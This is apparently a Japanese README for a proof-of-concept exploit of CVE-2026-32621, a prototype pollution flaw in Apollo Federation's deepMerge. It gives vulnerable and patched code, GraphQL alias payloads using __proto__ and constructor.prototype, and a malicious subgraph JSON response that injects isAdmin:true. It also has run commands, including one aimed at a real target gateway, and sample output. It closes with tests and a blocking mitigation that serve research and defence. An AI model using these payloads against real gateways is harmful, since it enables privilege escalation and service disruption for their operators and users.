
CVE-2026-32621 の PoC エクスプロイト。巧妙に細工された GraphQL エイリアスを介して Apollo Federation の deepMerge プロトタイプ汚染を実証し、パッチ適用済みバージョンのテストを含みます。
| フィールド | 値 |
|---|---|
| CVE | CVE-2026-32621 |
| CVSS | 9.9 Critical |
| CWE | CWE-1321 (Prototype Pollution) |
| 影響を受けるバージョン | Apollo Federation < 2.9.6, < 2.10.5, < 2.11.6, < 2.12.3, < 2.13.2 |
| パッチ適用済みバージョン | 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2 |
| GHSA | GHSA-pfjj-6f4p-rvmh |
Apollo Federation の deepMerge 関数(@apollo/query-planner と @apollo/gateway がクエリプラン実行中にサブグラフのレスポンスをマージするために使用)は、target[key] にアクセスする前にキーのサニタイズを行いません。
ソースオブジェクトが __proto__ を独自プロパティとして保持している場合(JSON.parse が生成するケース)、Object.keys() はそれを返し、target["__proto__"] はプロトタイプチェーンを経由して Object.prototype に解決されます。その後、マージ処理はプロパティを直接 Object.prototype に書き込み、Node.js プロセス全体のグローバルプロトタイプチェーンを汚染します。
// VULNERABLE (pre-patch)
for (const key of Object.keys(source)) {
if (target[key] && isObject(source[key])) {
deepMerge(target[key], source[key]); // target["__proto__"] = Object.prototype!
} else {
target[key] = source[key]; // Direct assignment to prototype
}
}
// PATCHED (post-patch)
for (const key of Object.keys(source)) {
defineOwn(target, key); // <-- Fix: shadows prototype property with own property
if (target[key] && isObject(source[key])) {
deepMerge(target[key], source[key]);
}
}
クライアントが __proto__、constructor、prototype という名前のフィールドエイリアスを含む GraphQL クエリを送信します。ゲートウェイがレスポンスを処理する際、deepMerge はこれらのエイリアスをキーとして使用し、Object.prototype を汚染します。
query {
__proto__: products {
polluted: id
}
}
侵害されたサブグラフが __proto__ キーを含む JSON を返します。ゲートウェイが deepMerge でレスポンスをマージすると、Object.prototype が汚染されます。
{"data":{"__proto__":{"isAdmin":true,"polluted":"yes"}}}
query {
constructor: products {
prototype: id
}
}
isAdmin、role、permissions プロパティを注入toString、valueOf を null または破損した関数で上書き
ドキュメント 内容 USAGE.md ステップバイステップの詳細な使用ガイド DIAGRAM.md 構造図と攻撃フローの可視化
| ファイル | 目的 |
|------|---------| |
exploit.js| 5つの攻撃ベクトルとローカルデモを含むメインエクスプロイト | |test_exploit.js| ユニットテスト(汚染とパッチを検証する15テスト) | |e2e_test.js| エンドツーエンド検証(10テスト:ゲートウェイ + エクスプロイト + 検証) | |setup_vulnerable.js| テスト用の脆弱なゲートウェイシミュレータ |
# ローカルの deepMerge 脆弱性デモを実行
node exploit.js
これは、実行中のゲートウェイを必要とせずに、正確な脆弱性コードパスを実証します。
# ターミナル1: 脆弱なゲートウェイシミュレータを起動
node setup_vulnerable.js 4000
# ターミナル2: ゲートウェイに対してエクスプロイトを実行
node exploit.js -u http://localhost:4000/graphql
# ユニットテスト(15テスト)
node test_exploit.js
# エンドツーエンドテスト(10テスト - ゲートウェイを起動し、エクスプロイトを送信し、汚染を検証)
node e2e_test.js
# 実際の脆弱な Apollo Gateway インスタンスを標的とする
node exploit.js -u http://target-gateway:4000/graphql
======================================================================
CVE-2026-32621 - Apollo Federation Prototype Pollution
CVSS 9.9 Critical | CWE-1321
Patched: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
======================================================================
======================================================================
Direct deepMerge Vulnerability Demonstration
(Reproduces the exact vulnerable code path)
======================================================================
[Test 1] __proto__ pollution via JSON.parse source
Source keys: __proto__
source.__proto__ is own property: true
VULNERABLE: Object.prototype.polluted_test1 = true
PATCHED: Object.prototype.polluted_test1 = undefined
[Test 2] constructor.prototype pollution
VULNERABLE: Object.prototype.polluted_test2 = true
PATCHED: Object.prototype.polluted_test2 = undefined
--------------------------------------------------
RESULTS SUMMARY
--------------------------------------------------
[VULNERABLE] __proto__ via JSON.parse
[SAFE] __proto__ via JSON.parse (patched)
[VULNERABLE] constructor.prototype
[SAFE] constructor.prototype (patched)
Client Apollo Gateway Subgraph
│ │ │
│ GraphQL query │ │
│ with __proto__ │ │
│ field alias │ │
│ ────────────────► │ Forward query │
│ │ ──────────────────────► │
│ │ │
│ │ JSON response with │
│ │ __proto__ as own prop │
│ │ ◄────────────────────── │
│ │ │
│ │ deepMerge() called │
│ │ target["__proto__"] │
│ │ → Object.prototype │
│ │ ⚠ POLLUTED! │
│ │ │
│ 200 OK │ │
│ polluted: true │ │
│ ◄──────────────── │ │
│ │ │
│ ALL subsequent requests inherit polluted │
│ properties (isAdmin, polluted, etc.) │
完全なアーキテクチャ図については DIAGRAM.md を参照してください。
__proto__、constructor、prototype を含む GraphQL 操作をブロックするMIT